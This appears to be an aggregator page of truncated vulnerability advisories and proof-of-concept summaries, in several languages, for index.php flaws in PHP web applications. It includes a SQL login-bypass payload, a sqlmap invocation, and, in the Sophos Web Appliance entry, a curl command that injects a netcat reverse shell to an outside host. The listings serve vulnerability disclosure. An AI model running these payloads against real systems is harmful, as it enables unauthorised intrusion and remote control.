CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

CVE-2023-46015-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability 漏洞利用作者：ersinerenler 厂商主页 https://code-projects.org/blood-bank-in-php-with-source-code 软件链接 https://download-media.code-projects.org/2020/11/BloodBankInPHPWithSourcecode.zip 概述 Code-Projects Blood Bank V1.0...

CVE-2024-35468

CVE-2024-35468 提交者：Kha Do 人力资源管理系统 1.0 漏洞类型 SQL注入 描述 SourceCodester 人力资源管理系统 1.0 中的 /hrm/index.php 存在SQL注入漏洞，允许攻击者通过 password 参数执行任意SQL命令。 受影响组件 /hrm/index.php 影响 攻击者可以使用 payload 'or'1'='1 无需凭证即可登录管理员账户。 验证概念 匿名登录 源代码存在漏洞 视频...

CVE-2025-63589

CVE-2025-63589 CMSimpleXH index.php 路径处理中的反射型 XSS 发现日期： 2025年10月6日 产品： CMSimpleXH（开源平面文件 CMS） 受影响版本： 1.8 CVE 编号： CVE-2025-63589 是否需要认证： 不需要（未认证） 攻击类型： 反射型跨站脚本（XSS） 估算 CVSS v3.1： AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1（中危） index.php 中的前端控制器接受动态路径段（用于路由到模板/页面），并将这些值传递给模板渲染。代码在将这些路径段插入到属性和锚点 href...

CVE-2022-27414

CVE-2022-27414 - SQL注入 College Website CMS v1.0 - CVE-2022-27414 - SQL注入 CVE 链接 root@kitploit: https://vulners.com/cve/CVE-2022-27414 以下为 PoC 漏洞代码 从 "cwms\departments\index.php" 的第 9 行开始 root@kitploit: query"SELECT FROM departmentlist where deleteflag = 0 and status = 1 order by name asc"; while...

GetSimple CMS 3.3.13 - Open Redirect

GetSimple CMS 3.3.13 contains an open redirect vulnerability via the admin/index.php redirect parameter. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2019-9915 info: name: GetSimple CMS...

Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting

Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATHINFO variable to index.php due to insufficient validation for the timezone object in the HOMEMEETING& page. id:...

CVE-2021-39433

CVE-2021-39433 Existe una vulnerabilidad de inclusión de archivos local LFI en la versión BIQS IT Biqs-drive v1.83 y anteriores al enviar un payload específico como parámetro file a download/index.php. Esto permite que el atacante lea archivos arbitrarios del servidor con los permisos del usuario...

CVE-2025-6082

CVE-2025-6082 全路径泄露 PoC 作者 : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-6082 漏洞 : 全路径泄露 CWE-200 描述 本概念验证利用 Birth Chart Compatibility WordPress 插件（版本 ≤ 2.0）中的全路径泄露漏洞。PoC 向插件的 index.php 端点发送 HTTP GET 请求，捕获任何 PHP 警告或致命错误，并解析出服务器的文件系统路径（例如 /var/www/html/wp-content/plugins/... 或...

CVE-2024-48589

phpAbook 9.0i - 跨站脚本（XSS）漏洞（CVE-2024-48589） 摘要： 在 phpAbook 应用的 index.php 的 rol 参数或路径部分发现了一个跨站脚本（XSS）漏洞。该漏洞允许攻击者向用户的浏览器注入任意 JavaScript 代码，可能导致： 泄露敏感信息，包括会话 Cookie 在应用上下文中执行未经授权的操作 该问题源于对用户提供的输入缺少适当的验证和清理。 影响： 攻击者可以在 rol 参数或路径部分构造包含恶意脚本的 URL，诱骗用户访问该链接，或直接在浏览器中执行该链接。 概念验证（PoC）： 访问 phpabook 应用的...

CVE-2018-1263-Demo

漏洞利用演示 本指南将帮助你安装存在漏洞的组件，并针对与 CVE-2018-1263 相关的 phpMyAdmin 漏洞执行攻击。 CVE 描述 漏洞存在的原因 攻击如何运作 如何安装存在漏洞的组件 如何执行攻击 CVE 描述 此漏洞利用与 phpMyAdmin 4.8.x 版本（4.8.2 之前）中发现的一个问题相关。通过利用此问题，攻击者可以在服务器上执行远程代码执行和本地文件包含。该漏洞源于负责在 phpMyAdmin 内重定向和加载页面的代码部分。该代码对白名单页面的检查存在缺陷，使得攻击成为可能。攻击者必须经过身份验证，但在 $cfg'AllowArbitraryServer'...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance 中的预认证远程代码执行漏洞 Poc root@kitploit: curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip =...

CVE-2021-40353

CVE-2021-40353 CVE-2021-40353 openSIS 8.0 SQL注入漏洞 https://vulners.com/cve/CVE-2021-40353 当使用MySQL或MariaDB作为应用程序数据库时，openSIS 8.0版本存在一个SQL注入漏洞。攻击者可以通过USERNAME参数执行SQL命令。 受影响PHP页面： index.php - USERNAME参数 漏洞利用Payload ' - 会产生包含数据库信息的错误 " - 不会产生错误 错误信息 日期： 2021年8月31日 03:16:22 失败通知： DB执行失败 SQL: UPDATE...

CVE-2021-42663

CVE-2021-42663 CVE-2021-42662 - 在线活动预订与预约系统 2.3.0 版本中的 HTML 注入漏洞。 技术描述： 在线活动预订与预约系统 2.3.0 版本存在一个 HTML 注入漏洞。攻击者可以利用此漏洞更改网站的可见性。一旦目标用户点击特定链接，将显示攻击者选择的 HTML 代码内容。 受影响的组件 - 漏洞页面 - index.php 漏洞参数 - "msg" 利用步骤： 1. 导航到 http://localhost/event-management/views/index.php 2. 通过 URL 在 "msg" 参数中插入你的有效载荷 3...

CVE-2025-55885

CVE-2025-55885 描述 Alpes Recherche et Developpement ARD GEC en Ligne 2025-04-23 之前版本中存在SQL注入漏洞，允许远程攻击者通过 index.php 中的 GET 参数提升权限。 攻击向量 通过未清理的 GET 参数 ocid 在 https://services.ard.fr/index.php（交易确认页面）进行SQL注入。 概念验证 Payload root@kitploit: sqlmap -u...

CVE-2026-56380

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

EUVD-2026-64259

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

CVE-2026-56380 AVideo feed/index.php Exposure of Channel Owner Email Address

AVideo through commit 9c39d8c8 contains an information exposure vulnerability in feed/index.php that allows unauthenticated attackers to retrieve channel owner email addresses by supplying a public channel name parameter. Attackers can enumerate all creator email addresses by iterating through...

CVE-2025-34030-PoC

CVE-2025-34030 - sar2html 'plot' 参数 RCE CVSS: 10.0 严重 漏洞类型: OS 命令注入 编程语言: PHP 利用代码: Python 参考资料: https://nvd.nist.gov/vuln/detail/CVE-2025-34030 https://www.vulncheck.com/advisories/sar2html-command-injection 描述 sar2html 版本 ）。漏洞执行后的输出会显示在应用程序界面中，“select host” 包含命令输出。 概念验证...

PT-2026-79048

A vulnerability was detected in SourceCodester CET Automated Grading System with AI Predictive Analytics 1.0. This affects the function add grade of the file /index.php. Performing a manipulation of the argument student id results in improper authorization. The attack can be initiated remotely...

CVE-2023-34632

CVE-2023-34632 1000projects Book Management System 1.0 中的反射型 XSS CVE-2023-34632 1000projects Book Management System 1.0 中的反射型跨站脚本（XSS） 描述 在 1000projects Book Management System 1.0 中发现了一个反射型跨站脚本（XSS）漏洞。该漏洞存在于搜索功能（index.php）中，用户通过 search 参数提供的输入会在 HTTP 响应中被直接反射，且未进行适当的净化或输出编码。 攻击者可以构造包含 JavaScript...